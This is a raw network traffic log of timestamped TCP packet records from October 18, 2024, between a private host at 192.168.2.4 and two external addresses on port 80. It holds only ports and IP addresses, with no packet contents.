Oct 18, 2024 15:04:54.796519041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796535969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796556950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796571970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796581030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796581030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796637058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796689034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796705008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796721935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796735048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796756029 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796812057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796827078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796842098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796858072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796873093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796888113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796904087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796904087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796904087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796930075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796960115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796962976 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796987057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797003031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797024012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797039986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797055006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797070026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797071934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797079086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797111988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797326088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797342062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797380924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797396898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797414064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797427893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797437906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797452927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797476053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797476053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797552109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797580004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797595978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797612906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797636032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797673941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797709942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797878981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797894001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797909975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797925949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797943115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797959089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797965050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797965050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.797976971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.797995090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798012018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798047066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.798047066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.798151016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798163891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798186064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798202991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798217058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798233032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798237085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.798237085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.798255920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798269033 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.798269987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.798337936 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.822954893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.822973013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.822990894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.823007107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.823065042 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.823232889 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.851555109 CEST	80	50044	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:54.851670980 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:54.854665041 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:54.857072115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857157946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857173920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857198954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857213020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857248068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857258081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857258081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857261896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857347012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857379913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857426882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857441902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857500076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857500076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857532978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857549906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857635975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857661009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857675076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857701063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857717991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857732058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857757092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857758045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857758045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857774019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857789993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857815027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857830048 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857830048 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857831001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857848883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857916117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857928991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857945919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857956886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857956886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.857963085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.857988119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858011007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858023882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858042955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858042955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858087063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858103037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858119011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858163118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858163118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858171940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858187914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858234882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858248949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858262062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858273029 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858273029 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858278036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858294010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858309984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858350039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858350039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858350992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858374119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858413935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858681917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858755112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858772039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858817101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858817101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858817101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.858835936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858856916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858967066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858983040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.858998060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859013081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859014988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859015942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859118938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859134912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859150887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859167099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859179974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859180927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859184027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859245062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859272003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859287024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859302044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859318018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859333038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859349012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859359980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859366894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859397888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859415054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859426022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859431982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859462023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859473944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859489918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859507084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859522104 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859549999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859597921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859613895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859631062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859644890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859652042 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859662056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859677076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859694958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859709024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859709978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859709978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859726906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859743118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859769106 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859769106 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.859922886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859939098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859956026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859971046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.859987020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860002041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860018015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860033035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860033989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860033989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860050917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860095978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860111952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860127926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860142946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860143900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860142946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860162020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860209942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860320091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860337019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860353947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860368967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860383987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860394955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860394955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860399961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860416889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860431910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860446930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860462904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860471010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860471010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860481024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860493898 CEST	80	50044	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:54.860510111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860526085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860539913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860544920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860544920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860558987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860615969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860615969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860661030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860677004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860692978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860707045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860722065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860749960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860770941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860770941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860774994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860791922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860807896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860822916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860837936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860838890 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860838890 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860865116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860882998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860894918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860910892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860910892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860913038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860934019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.860999107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.860999107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861027956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861042976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861057997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861074924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861089945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861105919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861121893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861129999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861129999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861140013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861151934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861183882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861183882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861402035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861427069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861442089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861449957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861459017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861474037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861490011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861505032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861517906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861534119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861547947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861552000 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861552000 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861563921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861578941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861593962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861601114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861610889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861624956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861634016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861639023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861651897 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861654997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861669064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861684084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861701965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861705065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861705065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861716986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861732960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861748934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861748934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861767054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861779928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861795902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861799002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861860037 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.861948013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861963987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861979961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.861999035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862014055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862030029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862046003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862050056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862050056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862061977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862076998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862092972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862129927 CEST	50042	80	192.168.2.4	185.215.113.103
